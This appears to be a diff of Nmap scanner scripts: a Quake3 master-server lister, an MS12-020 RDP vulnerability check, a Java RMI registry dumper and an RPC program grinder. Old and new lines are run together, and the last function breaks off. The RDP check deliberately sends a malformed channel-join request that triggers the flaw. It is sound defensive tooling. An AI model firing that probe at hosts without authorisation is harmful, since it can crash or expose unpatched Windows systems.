["69"] = "OpenArena, or Tremulous", ["69"] = "OpenArena, or Tremulous",
["70"] = "unknown", ["70"] = "unknown",
["71"] = "OpenArena", ["71"] = "OpenArena",
["72"] = "Wolfenstein: Enemy Territory", ["72"] = "Wolfenstein: Enemy Territory",
["80"] = "Wolfenstein: Enemy Territory", ["80"] = "Wolfenstein: Enemy Territory",
["83"] = "Wolfenstein: Enemy Territory", ["83"] = "Wolfenstein: Enemy Territory",
["84"] = "Wolfenstein: Enemy Territory", ["84"] = "Wolfenstein: Enemy Territory",
["2003"] = "Soldier of Fortune II: Double Helix", ["2003"] = "Soldier of Fortune II: Double Helix",
["2004"] = "Soldier of Fortune II: Double Helix", ["2004"] = "Soldier of Fortune II: Double Helix",
["DarkPlaces-Quake 3"] = "DarkPlaces Quake", ["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
["Nexuiz 3"] = "Nexuiz", ["Nexuiz 3"] = "Nexuiz",
["Transfusion 3"] = "Transfusion", ["Transfusion 3"] = "Transfusion",
["Warsow 8"] = "Warsow", ["Warsow 8"] = "Warsow",
["Xonotic 3"] = "Xonotic", ["Xonotic 3"] = "Xonotic",
} }
local function getservers(host, port, q3protocol) local function getservers(host, port, q3protocol)
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(10000) socket:set_timeout(10000)
local status, err = socket:connect(host.ip, port.number, "udp") local status, err = socket:connect(host.ip, port.number, "udp")
if not status then if not status then
return {} return {}
end end
local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol)) local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
socket:send(probe) socket:send(probe)
local data local data
status, data = socket:receive() -- get some data status, data = socket:receive() -- get some data
if not status then if not status then
return {} return {}
end end
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse") local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
local tmp local tmp
while #data < #magic do -- get header while #data < #magic do -- get header
status, tmp = socket:receive() status, tmp = socket:receive()
if status then if status then
data = data .. tmp data = data .. tmp
end end
end end
if string.sub(data, 1, #magic) ~= magic then -- no match if string.sub(data, 1, #magic) ~= magic then -- no match
return {} return {}
end end
port.version.name = "quake3-master" port.version.name = "quake3-master"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
local EOT = bin.pack("ACCC", "EOT", 0, 0, 0) local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
local pieces = stdnse.strsplit("\\", data) local pieces = stdnse.strsplit("\\", data)
while pieces[#pieces] ~= EOT do -- get all data while pieces[#pieces] ~= EOT do -- get all data
status, tmp = socket:receive() status, tmp = socket:receive()
if status then if status then
data = data .. tmp data = data .. tmp
pieces = stdnse.strsplit("\\", data) pieces = stdnse.strsplit("\\", data)
end end
end end
table.remove(pieces, 1) --remove magic table.remove(pieces, 1) --remove magic
table.remove(pieces, #pieces) --remove EOT table.remove(pieces, #pieces) --remove EOT
local servers = {} local servers = {}
for _, value in ipairs(pieces) do for _, value in ipairs(pieces) do
local parts = {bin.unpack("CCCC>S", value)} local parts = {bin.unpack("CCCC>S", value)}
if #parts > 5 then if #parts > 5 then
local o1 = parts[2] local o1 = parts[2]
local o2 = parts[3] local o2 = parts[3]
local o3 = parts[4] local o3 = parts[4]
local o4 = parts[5] local o4 = parts[5]
local p = parts[6] local p = parts[6]
table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p}) table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
end end
end end
socket:close() socket:close()
return servers return servers
end end
local function formatresult(servers, outputlimit, protocols) local function formatresult(servers, outputlimit, protocols)
local t = tab.new() local t = tab.new()
if not outputlimit then if not outputlimit then
outputlimit = #servers outputlimit = #servers
end end
for i = 1, outputlimit do for i = 1, outputlimit do
if not servers[i] then if not servers[i] then
break break
end end
local node = servers[i] local node = servers[i]
local protocol = node.protocol local protocol = node.protocol
local ip = node.ip local ip = node.ip
local portnum = node.port local portnum = node.port
tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol)) tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
end end
return tab.dump(t) return tab.dump(t)
end end
local function dropdupes(tables, stringify) local function dropdupes(tables, stringify)
local unique = {} local unique = {}
local dupe = {} local dupe = {}
local s local s
for _, v in ipairs(tables) do for _, v in ipairs(tables) do
s = stringify(v) s = stringify(v)
if not dupe[s] then if not dupe[s] then
table.insert(unique, v) table.insert(unique, v)
dupe[s] = true dupe[s] = true
end end
end end
return unique return unique
end end
local function scan(host, port, protocols) local function scan(host, port, protocols)
local discovered = {} local discovered = {}
for protocol, _ in pairs(protocols) do for protocol, _ in pairs(protocols) do
for _, node in ipairs(getservers(host, port, protocol)) do for _, node in ipairs(getservers(host, port, protocol)) do
local entry = { local entry = {
protocol = protocol, protocol = protocol,
ip = node[1], ip = node[1],
port = node[2], port = node[2],
masterip = host.ip, masterip = host.ip,
masterport = port.number masterport = port.number
} }
table.insert(discovered, entry) table.insert(discovered, entry)
end end
end end
return discovered return discovered
end end
local function store(servers) local function store(servers)
if not nmap.registry.q3m_servers then if not nmap.registry.q3m_servers then
nmap.registry.q3m_servers = {} nmap.registry.q3m_servers = {}
end end
for _, server in ipairs(servers) do for _, server in ipairs(servers) do
table.insert(nmap.registry.q3m_servers, server) table.insert(nmap.registry.q3m_servers, server)
end end
end end
local function protocols() local function protocols()
local filter = {} local filter = {}
local count = {} local count = {}
for _, advert in ipairs(nmap.registry.q3m_servers) do for _, advert in ipairs(nmap.registry.q3m_servers) do
local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol}) local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
if filter[key] == nil then if filter[key] == nil then
if count[advert.protocol] == nil then if count[advert.protocol] == nil then
count[advert.protocol] = 0 count[advert.protocol] = 0
end end
count[advert.protocol] = count[advert.protocol] + 1 count[advert.protocol] = count[advert.protocol] + 1
filter[key] = true filter[key] = true
end end
local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport}) local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
end end
local sortable = {} local sortable = {}
for k, v in pairs(count) do for k, v in pairs(count) do
table.insert(sortable, {k, v}) table.insert(sortable, {k, v})
end end
table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end) table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
local t = tab.new() local t = tab.new()
tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS') tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
for i, p in ipairs(sortable) do for i, p in ipairs(sortable) do
local pos = i .. '.' local pos = i .. '.'
local protocol = p[1] local protocol = p[1]
count = p[2] count = p[2]
local game = KNOWN_PROTOCOLS[protocol] local game = KNOWN_PROTOCOLS[protocol]
if game == "unknown" then if game == "unknown" then
game = "" game = ""
end end
tab.addrow(t, pos, protocol, game, count) tab.addrow(t, pos, protocol, game, count)
end end
return '\n' .. tab.dump(t) return '\n' .. tab.dump(t)
end end
action = function(host, port) action = function(host, port)
if SCRIPT_TYPE == "postrule" then if SCRIPT_TYPE == "postrule" then
return protocols() return protocols()
end end
local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"] local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
if not outputlimit then if not outputlimit then
outputlimit = 10 outputlimit = 10
else else
outputlimit = tonumber(outputlimit) outputlimit = tonumber(outputlimit)
end end
if outputlimit < 1 then if outputlimit < 1 then
outputlimit = nil outputlimit = nil
end end
local servers = scan(host, port, KNOWN_PROTOCOLS) local servers = scan(host, port, KNOWN_PROTOCOLS)
store(servers) store(servers)
local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end) local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS) local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
if #formatted < 1 then if #formatted < 1 then
return return
end end
local response = {} local response = {}
table.insert(response, formatted) table.insert(response, formatted)
if outputlimit and outputlimit < #servers then if outputlimit and outputlimit < #servers then
table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME)) table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -72,152 +72,152 @@ categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({3389},{"ms-wbt-server"}) portrule = shortport.port_or_service({3389},{"ms-wbt-server"})
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, err,response local status, err,response
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0 local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
.. "000b" -- Length .. "000b" -- Length
.. "06" -- X.224 Data TPDU length .. "06" -- X.224 Data TPDU length
.. "e0" -- X.224 Type (Connection request) .. "e0" -- X.224 Type (Connection request)
.. "0000" -- dst reference .. "0000" -- dst reference
.. "0000" -- src reference .. "0000" -- src reference
.. "00" -- class and options .. "00" -- class and options
local connectionRequest = bin.pack("H",connectionRequestStr) local connectionRequest = bin.pack("H",connectionRequestStr)
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
local connectInitialStr = "03000065" -- TPKT Header local connectInitialStr = "03000065" -- TPKT Header
.. "02f080" -- Data TPDU, EOT .. "02f080" -- Data TPDU, EOT
.. "7f655b" -- Connect-Initial .. "7f655b" -- Connect-Initial
.. "040101" -- callingDomainSelector .. "040101" -- callingDomainSelector
.. "040101" -- calledDomainSelector .. "040101" -- calledDomainSelector
.. "0101ff" -- upwardFlag .. "0101ff" -- upwardFlag
.. "3019" -- targetParams + size .. "3019" -- targetParams + size
.. "020122" -- maxChannelIds .. "020122" -- maxChannelIds
.. "020120" -- maxUserIds .. "020120" -- maxUserIds
.. "020100" -- maxTokenIds .. "020100" -- maxTokenIds
.. "020101" -- numPriorities .. "020101" -- numPriorities
.. "020100" -- minThroughput .. "020100" -- minThroughput
.. "020101" -- maxHeight .. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize .. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion .. "020102" -- protocolVersion
.. "3018" -- minParams + size .. "3018" -- minParams + size
.. "020101" -- maxChannelIds .. "020101" -- maxChannelIds
.. "020101" -- maxUserIds .. "020101" -- maxUserIds
.. "020101" -- maxTokenIds .. "020101" -- maxTokenIds
.. "020101" -- numPriorities .. "020101" -- numPriorities
.. "020100" -- minThroughput .. "020100" -- minThroughput
.. "020101" -- maxHeight .. "020101" -- maxHeight
.. "0201ff" -- maxMCSPDUSize .. "0201ff" -- maxMCSPDUSize
.. "020102" -- protocolVersion .. "020102" -- protocolVersion
.. "3019" -- maxParams + size .. "3019" -- maxParams + size
.. "0201ff" -- maxChannelIds .. "0201ff" -- maxChannelIds
.. "0201ff" -- maxUserIds .. "0201ff" -- maxUserIds
.. "0201ff" -- maxTokenIds .. "0201ff" -- maxTokenIds
.. "020101" -- numPriorities .. "020101" -- numPriorities
.. "020100" -- minThroughput .. "020100" -- minThroughput
.. "020101" -- maxHeight .. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize .. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion .. "020102" -- protocolVersion
.. "0400" -- userData .. "0400" -- userData
local connectInitial = bin.pack("H",connectInitialStr) local connectInitial = bin.pack("H",connectInitialStr)
-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx -- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
local userRequestStr = "0300" -- header local userRequestStr = "0300" -- header
.. "0008" -- length .. "0008" -- length
.. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) .. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
.. "28" -- PER encoded PDU contents .. "28" -- PER encoded PDU contents
local userRequest = bin.pack("H",userRequestStr) local userRequest = bin.pack("H",userRequestStr)
local user1,user2 local user1,user2
local pos local pos
local rdp_vuln_0152 = { local rdp_vuln_0152 = {
title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability", title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
IDS = {CVE = 'CVE-2012-0152'}, IDS = {CVE = 'CVE-2012-0152'},
risk_factor = "Medium", risk_factor = "Medium",
scores = { scores = {
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)", CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
}, },
description = [[ description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service. Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
]], ]],
references = { references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
}, },
dates = { dates = {
disclosure = {year = '2012', month = '03', day = '13'}, disclosure = {year = '2012', month = '03', day = '13'},
}, },
exploit_results = {}, exploit_results = {},
} }
local rdp_vuln_0002 = { local rdp_vuln_0002 = {
title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability", title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
IDS = {CVE = 'CVE-2012-0002'}, IDS = {CVE = 'CVE-2012-0002'},
risk_factor = "High", risk_factor = "High",
scores = { scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system. Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
]], ]],
references = { references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
}, },
dates = { dates = {
disclosure = {year = '2012', month = '03', day = '13'}, disclosure = {year = '2012', month = '03', day = '13'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
rdp_vuln_0152.state = vulns.STATE.NOT_VULN rdp_vuln_0152.state = vulns.STATE.NOT_VULN
rdp_vuln_0002.state = vulns.STATE.NOT_VULN rdp_vuln_0002.state = vulns.STATE.NOT_VULN
-- Sleep for 0.2 seconds to make sure the script works even with SYN scan. -- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
-- Posible reason for this is that Windows resets the connection if we try to -- Posible reason for this is that Windows resets the connection if we try to
-- reconect too fast to the same port after doing a SYN scan and not completing the -- reconect too fast to the same port after doing a SYN scan and not completing the
-- handshake. In my tests, sleep values above 0.1s prevent the connection reset. -- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
stdnse.sleep(0.2) stdnse.sleep(0.2)
socket:connect(host.ip, port) socket:connect(host.ip, port)
status, err = socket:send(connectionRequest) status, err = socket:send(connectionRequest)
status, response = socket:receive_bytes(0) status, response = socket:receive_bytes(0)
if response ~= bin.pack("H","0300000b06d00000123400") then if response ~= bin.pack("H","0300000b06d00000123400") then
--probably not rdp at all --probably not rdp at all
stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME) stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
return nil return nil
end end
status, err = socket:send(connectInitial) status, err = socket:send(connectInitial)
status, err = socket:send(userRequest) -- send attach user request status, err = socket:send(userRequest) -- send attach user request
status, response = socket:receive_bytes(0) -- recieve attach user confirm status, response = socket:receive_bytes(0) -- recieve attach user confirm
pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
status, err = socket:send(userRequest) -- send another attach user request status, err = socket:send(userRequest) -- send another attach user request
status, response = socket:receive_bytes(0) -- recieve another attach user confirm status, response = socket:receive_bytes(0) -- recieve another attach user confirm
pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001 pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
user2 = user2+1001 -- second user's channel user2 = user2+1001 -- second user's channel
local data4 = bin.pack(">SS",user1,user2) local data4 = bin.pack(">SS",user1,user2)
local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
local channelJoinRequest = data5 .. data4 local channelJoinRequest = data5 .. data4
status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2 status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
status, response = socket:receive_bytes(0) status, response = socket:receive_bytes(0)
if response:sub(8,9) == bin.pack("H","3e00") then if response:sub(8,9) == bin.pack("H","3e00") then
-- 3e00 indicates a successfull join -- 3e00 indicates a successfull join
-- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx -- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
-- service is vulnerable -- service is vulnerable
-- send a valid request to prevent the BSoD -- send a valid request to prevent the BSoD
data4 = bin.pack(">SS",user2-1001,user2) data4 = bin.pack(">SS",user2-1001,user2)
channelJoinRequest = data5 .. data4 -- valid join request channelJoinRequest = data5 .. data4 -- valid join request
status, err = socket:send(channelJoinRequest) status, err = socket:send(channelJoinRequest)
status, response = socket:receive_bytes(0) status, response = socket:receive_bytes(0)
socket:close() socket:close()
rdp_vuln_0152.state = vulns.STATE.VULN rdp_vuln_0152.state = vulns.STATE.VULN
rdp_vuln_0002.state = vulns.STATE.VULN rdp_vuln_0002.state = vulns.STATE.VULN
return report:make_output(rdp_vuln_0152,rdp_vuln_0002) return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end end
--service is not vulnerable --service is not vulnerable
socket:close() socket:close()
return report:make_output(rdp_vuln_0152,rdp_vuln_0002) return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end end

View File

@@ -155,20 +155,20 @@ portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"jav
-- Some lazy shortcuts -- Some lazy shortcuts
local function dbg(str,...) local function dbg(str,...)
stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...) stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
end end
local function dbg_err(str, ... ) local function dbg_err(str, ... )
stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...) stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
end end
-- Function to split a string -- Function to split a string
local function split(str, sep) local function split(str, sep)
local sep, fields = sep or "; ", {} local sep, fields = sep or "; ", {}
local pattern = string.format("([^%s]+)", sep) local pattern = string.format("([^%s]+)", sep)
str:gsub(pattern, function(c) fields[#fields+1] = c end) str:gsub(pattern, function(c) fields[#fields+1] = c end)
return fields return fields
end end
--This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object. --This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object.
@@ -180,57 +180,57 @@ local function split(str, sep)
-- of the returned RMI object. -- of the returned RMI object.
-- @return title, data -- @return title, data
function customDataFormatter(className, customData) function customDataFormatter(className, customData)
if customData == nil then return nil end if customData == nil then return nil end
if #customData ==0 then return nil end if #customData ==0 then return nil end
local retData = {} local retData = {}
for k,v in ipairs(customData) do for k,v in ipairs(customData) do
if v:find("file:/") == 1 then if v:find("file:/") == 1 then
-- This is a classpath -- This is a classpath
local cp = split(v, "; ") -- Splits into table local cp = split(v, "; ") -- Splits into table
table.insert(retData, "Classpath") table.insert(retData, "Classpath")
table.insert(retData, cp) table.insert(retData, cp)
else else
table.insert(retData[v]) table.insert(retData[v])
end end
end end
return "Custom data", retData return "Custom data", retData
end end
function action(host,port, args) function action(host,port, args)
local registry= rmi.Registry:new( host.ip, port.number) local registry= rmi.Registry:new( host.ip, port.number)
local status, j_array = registry:list() local status, j_array = registry:list()
local output = {} local output = {}
if not status then if not status then
return false, ("Registry listing failed (%s)"):format(tostring(j_array)) return false, ("Registry listing failed (%s)"):format(tostring(j_array))
end end
-- It's definitely RMI! -- It's definitely RMI!
port.version.name ='java-rmi' port.version.name ='java-rmi'
port.version.product='Java RMI Registry' port.version.product='Java RMI Registry'
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
-- Monkey patch the java-class in rmi, to set our own custom data formatter -- Monkey patch the java-class in rmi, to set our own custom data formatter
-- for classpaths -- for classpaths
rmi.JavaClass.customDataFormatter = customDataFormatter rmi.JavaClass.customDataFormatter = customDataFormatter
-- We expect an array of strings to be the return data -- We expect an array of strings to be the return data
local data = j_array:getValues() local data = j_array:getValues()
for i,name in ipairs( data ) do for i,name in ipairs( data ) do
--print(data) --print(data)
table.insert(output, name) table.insert(output, name)
dbg("Querying object %s", name) dbg("Querying object %s", name)
local status, j_object= registry:lookup(name) local status, j_object= registry:lookup(name)
if status then if status then
table.insert(output, j_object:toTable()) table.insert(output, j_object:toTable())
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -44,16 +44,16 @@ categories = {"version"}
portrule = function(host, port) portrule = function(host, port)
-- Do not run for excluded ports -- Do not run for excluded ports
if (nmap.port_is_excluded(port.number, port.protocol)) then if (nmap.port_is_excluded(port.number, port.protocol)) then
return false return false
end end
if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
-- Exclude services that have already been detected as something -- Exclude services that have already been detected as something
-- different than rpcbind. -- different than rpcbind.
return false return false
end end
return true return true
end end
--- Function that determines if the target port of host uses RPC protocol. --- Function that determines if the target port of host uses RPC protocol.
@@ -61,57 +61,57 @@ end
--@param port Port table as commonly used in Nmap. --@param port Port table as commonly used in Nmap.
--@return status boolean True if target port uses RPC protocol, false else. --@return status boolean True if target port uses RPC protocol, false else.
local isRPC = function(host, port) local isRPC = function(host, port)
-- If rpcbind is already set up by -sV -- If rpcbind is already set up by -sV
-- which does practically the same check as in the "else" part. -- which does practically the same check as in the "else" part.
-- The nmap-services-probe entry "rpcbind" is not correctly true, and should -- The nmap-services-probe entry "rpcbind" is not correctly true, and should
-- be changed to something like "sunrpc" -- be changed to something like "sunrpc"
if port.service == 'rpcbind' then if port.service == 'rpcbind' then
return true return true
else else
-- this check is important if we didn't run the scan with -sV. -- this check is important if we didn't run the scan with -sV.
-- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar -- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
-- to the "rpcbind" service probe in nmap-service-probes. -- to the "rpcbind" service probe in nmap-service-probes.
local rpcConn, status, err, data, rxid, msgtype, _ local rpcConn, status, err, data, rxid, msgtype, _
-- Create new socket -- Create new socket
-- rpcbind is not really important, we could have used another protocol from rpc.lua -- rpcbind is not really important, we could have used another protocol from rpc.lua
-- such as nfs or mountd. Same thing for version 2. -- such as nfs or mountd. Same thing for version 2.
rpcConn = rpc.Comm:new("rpcbind", 2) rpcConn = rpc.Comm:new("rpcbind", 2)
status, err = rpcConn:Connect(host, port) status, err = rpcConn:Connect(host, port)
if not status then if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err) stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return return
end
-- Send packet
local xid = math.random(1234567890)
data = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(data)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
return
end
-- And check response
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
return
else
-- If we got response, set port to open
nmap.set_port_state(host, port, "open")
_, rxid = bin.unpack(">I", data, 1)
_, msgtype = bin.unpack(">I", data, 5)
-- If response XID does match request XID
-- and message type equals 1 (REPLY) then
-- it is a RPC port.
if rxid == xid and msgtype == 1 then
return true
end
end
end end
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
-- Send packet
local xid = math.random(1234567890)
data = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(data)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
return
end
-- And check response
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
return
else
-- If we got response, set port to open
nmap.set_port_state(host, port, "open")
_, rxid = bin.unpack(">I", data, 1)
_, msgtype = bin.unpack(">I", data, 5)
-- If response XID does match request XID
-- and message type equals 1 (REPLY) then
-- it is a RPC port.
if rxid == xid and msgtype == 1 then
return true
end
end
end
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
end end
-- Function that iterates over the nmap-rpc file and -- Function that iterates over the nmap-rpc file and
@@ -119,34 +119,34 @@ end
-- @return name Name of the RPC service. -- @return name Name of the RPC service.
-- @return number RPC number of the matching service name. -- @return number RPC number of the matching service name.
local rpcIterator = function() local rpcIterator = function()
-- Check if nmap-rpc file is present. -- Check if nmap-rpc file is present.
local path = nmap.fetchfile("nmap-rpc") local path = nmap.fetchfile("nmap-rpc")
if not path then if not path then
stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME) stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
return false return false
end end
-- And is readable -- And is readable
local nmaprpc, _, _ = io.open( path, "r" ) local nmaprpc, _, _ = io.open( path, "r" )
if not nmaprpc then if not nmaprpc then
stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME) stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
return false return false
end end
return function() return function()
while true do while true do
local line = nmaprpc:read() local line = nmaprpc:read()
if not line then if not line then
break break
end end
-- Now, we parse lines for meaningful ones -- Now, we parse lines for meaningful ones
local name, number = line:match("^%s*([^%s#]+)%s+(%d+)") local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
-- And return program name and number -- And return program name and number
if name and number then if name and number then
return name, tonumber(number) return name, tonumber(number)
end end
end
end end
end
end end
--- Function that sends RPC null commands with a random version number and --- Function that sends RPC null commands with a random version number and
@@ -157,113 +157,113 @@ end
-- @param iterator Iterator function that returns program name and number pairs. -- @param iterator Iterator function that returns program name and number pairs.
-- @param result table to put result into. -- @param result table to put result into.
local rpcGrinder = function(host, port, iterator, result) local rpcGrinder = function(host, port, iterator, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local rpcConn, version, xid, status, response, packet, err, data, _ local rpcConn, version, xid, status, response, packet, err, data, _
xid = math.random(123456789) xid = math.random(123456789)
-- We use a random, most likely unsupported version so that -- We use a random, most likely unsupported version so that
-- we also trigger min and max version disclosure for the target service. -- we also trigger min and max version disclosure for the target service.
version = math.random(12345, 123456789) version = math.random(12345, 123456789)
rpcConn = rpc.Comm:new("rpcbind", version) rpcConn = rpc.Comm:new("rpcbind", version)
rpcConn:SetCheckProgVer(false) rpcConn:SetCheckProgVer(false)
status, err = rpcConn:Connect(host, port) status, err = rpcConn:Connect(host, port)
if not status then if not status then
stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err) stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
for program, number in iterator do
-- No need to continue further if we found the matching service.
if #result > 0 then
break
end
xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
rpcConn:SetProgID(number)
packet = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(packet)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
condvar "signal";
return
end
_,response = rpcConn:DecodeHeader(data, 1)
if type(response) == 'table' then
if xid ~= response.xid then
-- Shouldn't happen.
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
end
-- Look at accept state
-- Not supported version means that we used the right program number
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
result.program = program
result.number = number
_, result.highver = bin.unpack(">I", data, #data - 3)
_, result.lowver = bin.unpack(">I", data, #data - 7)
table.insert(result, true) -- To make #result > 1
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
end
end
end
condvar "signal"; condvar "signal";
return result return
end
for program, number in iterator do
-- No need to continue further if we found the matching service.
if #result > 0 then
break
end
